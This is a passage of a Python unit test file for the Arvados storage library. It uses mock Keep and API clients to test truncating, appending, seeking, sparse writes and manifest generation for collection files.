def __init__(self, blocks):
self.blocks = blocks
self.requests = []
def get(self, locator, num_retries=0):
self.requests.append(locator)
return self.blocks.get(locator)
def get_from_cache(self, locator):
self.requests.append(locator)
return self.blocks.get(locator)
def put(self, data, num_retries=None, copies=None):
pdh = tutil.str_keep_locator(data)
self.blocks[pdh] = bytes(data)
return pdh
class MockApi(object):
def __init__(self, b, r):
self.body = b
self.response = r
self._schema = ArvadosFileWriterTestCase.MockApi.MockSchema()
self._rootDesc = {}
class MockSchema(object):
def __init__(self):
self.schemas = {'Collection': {'properties': {'replication_desired': {'type':'integer'}}}}
class MockCollections(object):
def __init__(self, b, r):
self.body = b
self.response = r
class Execute(object):
def __init__(self, r):
self.response = r
def execute(self, num_retries=None):
return self.response
def create(self, ensure_unique_name=False, body=None):
if body != self.body:
raise Exception("Body %s does not match expectation %s" % (body, self.body))
return ArvadosFileWriterTestCase.MockApi.MockCollections.Execute(self.response)
def update(self, uuid=None, body=None):
return ArvadosFileWriterTestCase.MockApi.MockCollections.Execute(self.response)
def collections(self):
return ArvadosFileWriterTestCase.MockApi.MockCollections(self.body, self.response)
def test_truncate(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
api = ArvadosFileWriterTestCase.MockApi({
"name": "test_truncate",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 0:8:count.txt\n",
"replication_desired": None,
}, {
"uuid": "zzzzz-4zz18-mockcollection0",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 0:8:count.txt\n",
"portable_data_hash":"7fcd0eaac3aad4c31a6a0e756475da92+52",
})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 10)
self.assertEqual(b"0123456789", writer.read(12))
writer.truncate(8)
# Make sure reading off the end doesn't break
self.assertEqual(b"", writer.read(12))
self.assertEqual(writer.size(), 8)
writer.seek(0, os.SEEK_SET)
self.assertEqual(b"01234567", writer.read(12))
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
c.save_new("test_truncate")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
def test_truncate2(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
api = ArvadosFileWriterTestCase.MockApi({
"name": "test_truncate2",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 7f614da9329cd3aebf59b91aadc30bf0+67108864 0:12:count.txt\n",
"replication_desired": None,
}, {
"uuid": "zzzzz-4zz18-mockcollection0",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 7f614da9329cd3aebf59b91aadc30bf0+67108864 0:12:count.txt\n",
"portable_data_hash": "272da898abdf86ddc71994835e3155f8+95",
})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 10)
self.assertEqual(b"0123456789", writer.read(12))
# extend file size
writer.truncate(12)
self.assertEqual(writer.size(), 12)
writer.seek(0, os.SEEK_SET)
self.assertEqual(b"0123456789\x00\x00", writer.read(12))
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
c.save_new("test_truncate2")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
def test_truncate3(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
"a925576942e94b2ef57a066101b48876+10": b"abcdefghij",
})
api = ArvadosFileWriterTestCase.MockApi({
"name": "test_truncate",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 0:8:count.txt\n",
"replication_desired": None,
}, {
"uuid": "zzzzz-4zz18-mockcollection0",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 0:8:count.txt\n",
"portable_data_hash": "7fcd0eaac3aad4c31a6a0e756475da92+52",
})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 a925576942e94b2ef57a066101b48876+10 0:20:count.txt\n',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 20)
self.assertEqual(b"0123456789ab", writer.read(12))
self.assertEqual(12, writer.tell())
writer.truncate(8)
# Make sure reading off the end doesn't break
self.assertEqual(12, writer.tell())
self.assertEqual(b"", writer.read(12))
self.assertEqual(writer.size(), 8)
self.assertEqual(2, writer.seek(-10, os.SEEK_CUR))
self.assertEqual(b"234567", writer.read(12))
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
c.save_new("test_truncate")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
def test_write_to_end(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
api = ArvadosFileWriterTestCase.MockApi({
"name": "test_append",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 acbd18db4cc2f85cedef654fccc4a4d8+3 0:13:count.txt\n",
"replication_desired": None,
}, {
"uuid": "zzzzz-4zz18-mockcollection0",
"manifest_text": ". 781e5e245d69b566979b86e28d23f2c7+10 acbd18db4cc2f85cedef654fccc4a4d8+3 0:13:count.txt\n",
"portable_data_hash": "c5c3af76565c8efb6a806546bcf073f3+88",
})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 10)
self.assertEqual(5, writer.seek(5, os.SEEK_SET))
self.assertEqual(b"56789", writer.read(8))
writer.seek(10, os.SEEK_SET)
writer.write("foo")
self.assertEqual(writer.size(), 13)
writer.seek(5, os.SEEK_SET)
self.assertEqual(b"56789foo", writer.read(8))
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
self.assertIsNone(keep.get("acbd18db4cc2f85cedef654fccc4a4d8+3"))
c.save_new("test_append")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
self.assertEqual(b"foo", keep.get("acbd18db4cc2f85cedef654fccc4a4d8+3"))
def test_append(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
for (mode, convert) in (
('a+', lambda data: data.decode(encoding='utf-8')),
('at+', lambda data: data.decode(encoding='utf-8')),
('ab+', lambda data: data)):
c = Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n', keep_client=keep)
writer = c.open("count.txt", mode)
self.assertEqual(writer.read(20), convert(b"0123456789"))
writer.seek(0, os.SEEK_SET)
writer.write(convert(b"hello"))
self.assertEqual(writer.read(), convert(b""))
if 'b' in mode:
writer.seek(-5, os.SEEK_CUR)
self.assertEqual(writer.read(3), convert(b"hel"))
self.assertEqual(writer.read(), convert(b"lo"))
else:
with self.assertRaises(IOError):
writer.seek(-5, os.SEEK_CUR)
with self.assertRaises(IOError):
writer.seek(-3, os.SEEK_END)
writer.seek(0, os.SEEK_SET)
writer.read(7)
self.assertEqual(7, writer.tell())
self.assertEqual(7, writer.seek(7, os.SEEK_SET))
writer.seek(0, os.SEEK_SET)
self.assertEqual(writer.read(), convert(b"0123456789hello"))
writer.seek(0)
writer.write(convert(b"world"))
self.assertEqual(writer.read(), convert(b""))
writer.seek(0)
self.assertEqual(writer.read(), convert(b"0123456789helloworld"))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 fc5e038d38a57032085441e7fe7010b0+10 0:20:count.txt\n", c.portable_manifest_text())
def test_write_at_beginning(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(b"0123456789", writer.readfrom(0, 13))
writer.seek(0, os.SEEK_SET)
writer.write("foo")
self.assertEqual(writer.size(), 10)
self.assertEqual(b"foo3456789", writer.readfrom(0, 13))
self.assertEqual(". acbd18db4cc2f85cedef654fccc4a4d8+3 781e5e245d69b566979b86e28d23f2c7+10 0:3:count.txt 6:7:count.txt\n", c.portable_manifest_text())
def test_write_empty(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
with Collection(keep_client=keep) as c:
writer = c.open("count.txt", "wb")
self.assertEqual(writer.size(), 0)
self.assertEqual(". d41d8cd98f00b204e9800998ecf8427e+0 0:0:count.txt\n", c.portable_manifest_text())
def test_save_manifest_text(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
with Collection(keep_client=keep) as c:
writer = c.open("count.txt", "wb")
writer.write(b"0123456789")
self.assertEqual('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n', c.portable_manifest_text())
self.assertNotIn('781e5e245d69b566979b86e28d23f2c7+10', keep.blocks)
self.assertEqual('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n', c.save_new(create_collection_record=False))
self.assertIn('781e5e245d69b566979b86e28d23f2c7+10', keep.blocks)
def test_get_manifest_text_commits(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
with Collection(keep_client=keep) as c:
writer = c.open("count.txt", "wb")
writer.write("0123456789")
self.assertEqual('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n', c.portable_manifest_text())
self.assertNotIn('781e5e245d69b566979b86e28d23f2c7+10', keep.blocks)
self.assertEqual('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n', c.manifest_text())
self.assertIn('781e5e245d69b566979b86e28d23f2c7+10', keep.blocks)
def test_write_in_middle(self):
keep = ArvadosFileWriterTestCase.MockKeep({"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789"})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(b"0123456789", writer.readfrom(0, 13))
writer.seek(3, os.SEEK_SET)
writer.write("foo")
self.assertEqual(writer.size(), 10)
self.assertEqual(b"012foo6789", writer.readfrom(0, 13))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 acbd18db4cc2f85cedef654fccc4a4d8+3 0:3:count.txt 10:3:count.txt 6:4:count.txt\n", c.portable_manifest_text())
def test_write_at_end(self):
keep = ArvadosFileWriterTestCase.MockKeep({"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789"})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(b"0123456789", writer.readfrom(0, 13))
writer.seek(7, os.SEEK_SET)
writer.write("foo")
self.assertEqual(writer.size(), 10)
self.assertEqual(b"0123456foo", writer.readfrom(0, 13))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 acbd18db4cc2f85cedef654fccc4a4d8+3 0:7:count.txt 10:3:count.txt\n", c.portable_manifest_text())
def test_write_across_segment_boundary(self):
keep = ArvadosFileWriterTestCase.MockKeep({"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789"})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt 0:10:count.txt\n',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(b"012345678901234", writer.readfrom(0, 15))
writer.seek(7, os.SEEK_SET)
writer.write("foobar")
self.assertEqual(writer.size(), 20)
self.assertEqual(b"0123456foobar34", writer.readfrom(0, 15))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 3858f62230ac3c915f300c664312c63f+6 0:7:count.txt 10:6:count.txt 3:7:count.txt\n", c.portable_manifest_text())
def test_write_across_several_segments(self):
keep = ArvadosFileWriterTestCase.MockKeep({"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789"})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:4:count.txt 0:4:count.txt 0:4:count.txt',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(b"012301230123", writer.readfrom(0, 15))
writer.seek(2, os.SEEK_SET)
writer.write("abcdefg")
self.assertEqual(writer.size(), 12)
self.assertEqual(b"01abcdefg123", writer.readfrom(0, 15))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 7ac66c0f148de9519b8bd264312c4d64+7 0:2:count.txt 10:7:count.txt 1:3:count.txt\n", c.portable_manifest_text())
def test_write_large(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({"name":"test_write_large",
"manifest_text": ". a5de24f4417cfba9d5825eadc2f4ca49+67108000 598cc1a4ccaef8ab6e4724d87e675d78+32892000 0:100000000:count.txt\n",
"replication_desired":None},
{"uuid":"zzzzz-4zz18-mockcollection0",
"manifest_text": ". a5de24f4417cfba9d5825eadc2f4ca49+67108000 598cc1a4ccaef8ab6e4724d87e675d78+32892000 0:100000000:count.txt\n",
"portable_data_hash":"9132ca8e3f671c76103a38f5bc24328c+108"})
with Collection('. ' + arvados.config.EMPTY_BLOCK_LOCATOR + ' 0:0:count.txt',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
text = "0123456789" * 100
for b in range(0, 100000):
writer.write(text)
self.assertEqual(writer.size(), 100000000)
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
c.save_new("test_write_large")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
def test_large_write(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({}, {})
with Collection('. ' + arvados.config.EMPTY_BLOCK_LOCATOR + ' 0:0:count.txt',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 0)
text = "0123456789"
writer.write(text)
text = "0123456789" * 9999999
writer.write(text)
self.assertEqual(writer.size(), 100000000)
self.assertEqual(c.manifest_text(), ". 781e5e245d69b566979b86e28d23f2c7+10 48dd23ea1645fd47d789804d71b5bb8e+67108864 77c57dc6ac5a10bb2205caaa73187994+32891126 0:100000000:count.txt\n")
def test_sparse_write(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({}, {})
with Collection('. ' + arvados.config.EMPTY_BLOCK_LOCATOR + ' 0:0:count.txt',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 0)
text = b"0123456789"
writer.seek(2)
writer.write(text)
self.assertEqual(writer.size(), 12)
writer.seek(0, os.SEEK_SET)
self.assertEqual(writer.read(), b"\x00\x00"+text)
self.assertEqual(c.manifest_text(), ". 7f614da9329cd3aebf59b91aadc30bf0+67108864 781e5e245d69b566979b86e28d23f2c7+10 0:2:count.txt 67108864:10:count.txt\n")
def test_sparse_write2(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({}, {})
with Collection('. ' + arvados.config.EMPTY_BLOCK_LOCATOR + ' 0:0:count.txt',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 0)
text = "0123456789"
writer.seek((arvados.config.KEEP_BLOCK_SIZE*2) + 2)
writer.write(text)
self.assertEqual(writer.size(), (arvados.config.KEEP_BLOCK_SIZE*2) + 12)
writer.seek(0, os.SEEK_SET)
self.assertEqual(c.manifest_text(), ". 7f614da9329cd3aebf59b91aadc30bf0+67108864 781e5e245d69b566979b86e28d23f2c7+10 0:67108864:count.txt 0:67108864:count.txt 0:2:count.txt 67108864:10:count.txt\n")
def test_sparse_write3(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({}, {})
for r in [[0, 1, 2, 3, 4], [4, 3, 2, 1, 0], [3, 2, 0, 4, 1]]:
with Collection() as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 0)
for i in r:
w = ("%s" % i) * 10
writer.seek(i*10)
writer.write(w.encode())
writer.seek(0)
self.assertEqual(writer.read(), b"00000000001111111111222222222233333333334444444444")
def test_sparse_write4(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({}, {})
for r in [[0, 1, 2, 4], [4, 2, 1, 0], [2, 0, 4, 1]]:
with Collection() as c:
writer = c.open("count.txt", "rb+")
self.assertEqual(writer.size(), 0)
for i in r:
w = ("%s" % i) * 10
writer.seek(i*10)
writer.write(w.encode())
writer.seek(0)
self.assertEqual(writer.read(), b"000000000011111111112222222222\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004444444444")
def test_rewrite_on_empty_file(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
with Collection('. ' + arvados.config.EMPTY_BLOCK_LOCATOR + ' 0:0:count.txt',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
for b in range(0, 10):
writer.seek(0, os.SEEK_SET)
writer.write("0123456789")
self.assertEqual(writer.size(), 10)
self.assertEqual(b"0123456789", writer.readfrom(0, 20))
self.assertEqual(". 7a08b07e84641703e5f2c836aa59a170+100 90:10:count.txt\n", c.portable_manifest_text())
writer.flush()
self.assertEqual(writer.size(), 10)
self.assertEqual(b"0123456789", writer.readfrom(0, 20))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n", c.portable_manifest_text())
def test_rewrite_append_existing_file(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
for b in range(0, 10):
writer.seek(10, os.SEEK_SET)
writer.write("abcdefghij")
self.assertEqual(writer.size(), 20)
self.assertEqual(b"0123456789abcdefghij", writer.readfrom(0, 20))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 ae5f43bab79cf0be33f025fa97ae7398+100 0:10:count.txt 100:10:count.txt\n", c.portable_manifest_text())
writer.arvadosfile.flush()
self.assertEqual(writer.size(), 20)
self.assertEqual(b"0123456789abcdefghij", writer.readfrom(0, 20))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 a925576942e94b2ef57a066101b48876+10 0:20:count.txt\n", c.portable_manifest_text())
def test_rewrite_over_existing_file(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"781e5e245d69b566979b86e28d23f2c7+10": b"0123456789",
})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt',
keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
for b in range(0, 10):
writer.seek(5, os.SEEK_SET)
writer.write("abcdefghij")
self.assertEqual(writer.size(), 15)
self.assertEqual(b"01234abcdefghij", writer.readfrom(0, 20))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 ae5f43bab79cf0be33f025fa97ae7398+100 0:5:count.txt 100:10:count.txt\n", c.portable_manifest_text())
writer.arvadosfile.flush()
self.assertEqual(writer.size(), 15)
self.assertEqual(b"01234abcdefghij", writer.readfrom(0, 20))
self.assertEqual(". 781e5e245d69b566979b86e28d23f2c7+10 a925576942e94b2ef57a066101b48876+10 0:5:count.txt 10:10:count.txt\n", c.portable_manifest_text())
def test_write_large_rewrite(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({"name":"test_write_large",
"manifest_text": ". 3dc0d4bc21f48060bedcb2c91af4f906+32892003 a5de24f4417cfba9d5825eadc2f4ca49+67108000 0:3:count.txt 32892006:67107997:count.txt 3:32892000:count.txt\n",
"replication_desired":None},
{"uuid":"zzzzz-4zz18-mockcollection0",
"manifest_text": ". 3dc0d4bc21f48060bedcb2c91af4f906+32892003 a5de24f4417cfba9d5825eadc2f4ca49+67108000 0:3:count.txt 32892006:67107997:count.txt 3:32892000:count.txt\n",
"portable_data_hash":"217665c6b713e1b78dfba7ebd42344db+156"})
with Collection('. ' + arvados.config.EMPTY_BLOCK_LOCATOR + ' 0:0:count.txt',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "rb+")
text = b''.join([b"0123456789" for a in range(0, 100)])
for b in range(0, 100000):
writer.write(text)
writer.seek(0, os.SEEK_SET)
writer.write("foo")
self.assertEqual(writer.size(), 100000000)
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
c.save_new("test_write_large")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
def test_create(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({
"name":"test_create",
"manifest_text":". 2e9ec317e197819358fbc43afca7d837+8 0:8:count.txt\n",
"replication_desired":None,
}, {
"uuid":"zzzzz-4zz18-mockcollection0",
"manifest_text":". 2e9ec317e197819358fbc43afca7d837+8 0:8:count.txt\n",
"portable_data_hash":"7a461a8c58601798f690f8b368ac4423+51",
})
with Collection(api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "wb+")
self.assertEqual(writer.size(), 0)
writer.write("01234567")
self.assertEqual(writer.size(), 8)
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
self.assertIsNone(keep.get("2e9ec317e197819358fbc43afca7d837+8"))
c.save_new("test_create")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
self.assertEqual(b"01234567", keep.get("2e9ec317e197819358fbc43afca7d837+8"))
def test_create_subdir(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({"name":"test_create",
"manifest_text":"./foo/bar 2e9ec317e197819358fbc43afca7d837+8 0:8:count.txt\n",
"replication_desired":None},
{"uuid":"zzzzz-4zz18-mockcollection0",
"manifest_text":"./foo/bar 2e9ec317e197819358fbc43afca7d837+8 0:8:count.txt\n",
"portable_data_hash":"1b02aaa62528d28a5be41651cbb9d7c7+59"})
with Collection(api_client=api, keep_client=keep) as c:
self.assertIsNone(c.api_response())
writer = c.open("foo/bar/count.txt", "wb+")
writer.write("01234567")
self.assertFalse(c.committed())
c.save_new("test_create")
self.assertTrue(c.committed())
self.assertEqual(c.api_response(), api.response)
def test_overwrite(self):
keep = ArvadosFileWriterTestCase.MockKeep({"781e5e245d69b566979b86e28d23f2c7+10": "0123456789"})
api = ArvadosFileWriterTestCase.MockApi({"name":"test_overwrite",
"manifest_text":". 2e9ec317e197819358fbc43afca7d837+8 0:8:count.txt\n",
"replication_desired":None},
{"uuid":"zzzzz-4zz18-mockcollection0",
"manifest_text":". 2e9ec317e197819358fbc43afca7d837+8 0:8:count.txt\n",
"portable_data_hash":"7a461a8c58601798f690f8b368ac4423+51"})
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n',
api_client=api, keep_client=keep) as c:
writer = c.open("count.txt", "wb+")
self.assertEqual(writer.size(), 0)
writer.write("01234567")
self.assertEqual(writer.size(), 8)
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
c.save_new("test_overwrite")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
def test_file_not_found(self):
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n') as c:
with self.assertRaises(IOError):
writer = c.open("nocount.txt", "rb")
def test_cannot_open_directory(self):
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count.txt\n') as c:
with self.assertRaises(IOError):
writer = c.open(".", "rb")
def test_create_multiple(self):
keep = ArvadosFileWriterTestCase.MockKeep({})
api = ArvadosFileWriterTestCase.MockApi({"name":"test_create_multiple",
"manifest_text":". 2e9ec317e197819358fbc43afca7d837+8 e8dc4081b13434b45189a720b77b6818+8 0:8:count1.txt 8:8:count2.txt\n",
"replication_desired":None},
{"uuid":"zzzzz-4zz18-mockcollection0",
"manifest_text":". 2e9ec317e197819358fbc43afca7d837+8 e8dc4081b13434b45189a720b77b6818+8 0:8:count1.txt 8:8:count2.txt\n",
"portable_data_hash":"71e7bb6c00d31fc2b4364199fd97be08+102"})
with Collection(api_client=api, keep_client=keep) as c:
w1 = c.open("count1.txt", "wb")
w2 = c.open("count2.txt", "wb")
w1.write("01234567")
w2.write("abcdefgh")
self.assertEqual(w1.size(), 8)
self.assertEqual(w2.size(), 8)
self.assertIsNone(c.manifest_locator())
self.assertTrue(c.modified())
self.assertIsNone(keep.get("2e9ec317e197819358fbc43afca7d837+8"))
c.save_new("test_create_multiple")
self.assertEqual("zzzzz-4zz18-mockcollection0", c.manifest_locator())
self.assertFalse(c.modified())
self.assertEqual(b"01234567", keep.get("2e9ec317e197819358fbc43afca7d837+8"))
class ArvadosFileReaderTestCase(StreamFileReaderTestCase):
class MockParent(object):
class MockBlockMgr(object):
def __init__(self, blocks, nocache):
self.blocks = blocks
self.nocache = nocache
def block_prefetch(self, loc):
pass
def get_block_contents(self, loc, num_retries=0, cache_only=False):
if self.nocache and cache_only:
return None
return self.blocks[loc]
def __init__(self, blocks, nocache):
self.blocks = blocks
self.nocache = nocache
self.lock = arvados.arvfile.NoopLock()
def root_collection(self):
return self
def _my_block_manager(self):
return ArvadosFileReaderTestCase.MockParent.MockBlockMgr(self.blocks, self.nocache)
def make_count_reader(self, nocache=False):
stream = []
n = 0
blocks = {}
for d in [b'01234', b'34567', b'67890']:
loc = tutil.str_keep_locator(d)
blocks[loc] = d
stream.append(Range(loc, n, len(d)))
n += len(d)
af = ArvadosFile(ArvadosFileReaderTestCase.MockParent(blocks, nocache), "count.txt", stream=stream, segments=[Range(1, 0, 3), Range(6, 3, 3), Range(11, 6, 3)])
return ArvadosFileReader(af, mode="rb")
def test_read_block_crossing_behavior(self):
# read() needs to return all the data requested if possible, even if it
# crosses uncached blocks: https://arvados.org/issues/5856
sfile = self.make_count_reader(nocache=True)
self.assertEqual(b'12345678', sfile.read(8))
def test_successive_reads(self):
# Override StreamFileReaderTestCase.test_successive_reads
sfile = self.make_count_reader(nocache=True)
self.assertEqual(b'1234', sfile.read(4))
self.assertEqual(b'5678', sfile.read(4))
self.assertEqual(b'9', sfile.read(4))
self.assertEqual(b'', sfile.read(4))
def test_tell_after_block_read(self):
# Override StreamFileReaderTestCase.test_tell_after_block_read
sfile = self.make_count_reader(nocache=True)
self.assertEqual(b'12345678', sfile.read(8))
self.assertEqual(8, sfile.tell())
def test_prefetch(self):
keep = ArvadosFileWriterTestCase.MockKeep({
"2e9ec317e197819358fbc43afca7d837+8": b"01234567",
"e8dc4081b13434b45189a720b77b6818+8": b"abcdefgh",
})
with Collection(". 2e9ec317e197819358fbc43afca7d837+8 e8dc4081b13434b45189a720b77b6818+8 0:16:count.txt\n", keep_client=keep) as c:
r = c.open("count.txt", "rb")
self.assertEqual(b"0123", r.read(4))
self.assertIn("2e9ec317e197819358fbc43afca7d837+8", keep.requests)
self.assertIn("e8dc4081b13434b45189a720b77b6818+8", keep.requests)
def test__eq__from_manifest(self):
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count1.txt') as c1:
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count1.txt') as c2:
self.assertTrue(c1["count1.txt"] == c2["count1.txt"])
self.assertFalse(c1["count1.txt"] != c2["count1.txt"])
def test__eq__from_writes(self):
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count1.txt') as c1:
with Collection() as c2:
f = c2.open("count1.txt", "wb")
f.write("0123456789")
self.assertTrue(c1["count1.txt"] == c2["count1.txt"])
self.assertFalse(c1["count1.txt"] != c2["count1.txt"])
def test__ne__(self):
with Collection('. 781e5e245d69b566979b86e28d23f2c7+10 0:10:count1.txt') as c1:
with Collection() as c2:
f = c2.open("count1.txt", "wb")
f.write("1234567890")
self.assertTrue(c1["count1.txt"] != c2["count1.txt"])
self.assertFalse(c1["count1.txt"] == c2["count1.txt"])
class ArvadosFileReadTestCase(unittest.TestCase, StreamRetryTestMixin):
def reader_for(self, coll_name, **kwargs):
stream = []
segments = []
n = 0
for d in self.manifest_for(coll_name).split():
try:
k = KeepLocator(d)
segments.append(Range(n, n, k.size))
stream.append(Range(d, n, k.size))
n += k.size
except ValueError:
pass
blockmanager = arvados.arvfile._BlockManager(self.keep_client())
blockmanager.prefetch_enabled = False
col = Collection(keep_client=self.keep_client(), block_manager=blockmanager)
af = ArvadosFile(col, "test",
stream=stream,
segments=segments)
kwargs.setdefault('mode', 'rb')
return ArvadosFileReader(af, **kwargs)
def read_for_test(self, reader, byte_count, **kwargs):
return reader.read(byte_count, **kwargs)
class ArvadosFileReadFromTestCase(ArvadosFileReadTestCase):
def read_for_test(self, reader, byte_count, **kwargs):
return reader.readfrom(0, byte_count, **kwargs)
class ArvadosFileReadAllTestCase(ArvadosFileReadTestCase):
def read_for_test(self, reader, byte_count, **kwargs):
return b''.join(reader.readall(**kwargs))
class ArvadosFileReadAllDecompressedTestCase(ArvadosFileReadTestCase):
def read_for_test(self, reader, byte_count, **kwargs):
return b''.join(reader.readall_decompressed(**kwargs))
class ArvadosFileReadlinesTestCase(ArvadosFileReadTestCase):
def read_for_test(self, reader, byte_count, **kwargs):
return ''.join(reader.readlines(**kwargs)).encode()
class ArvadosFileTestCase(unittest.TestCase):
def datetime_to_hex(self, dt):
return hex(int(time.mktime(dt.timetuple())))[2:]
def test_permission_expired(self):
base_manifest = ". 781e5e245d69b566979b86e28d23f2c7+10+A715fd31f8111894f717eb1003c1b0216799dd9ec@{} 0:10:count.txt\n"
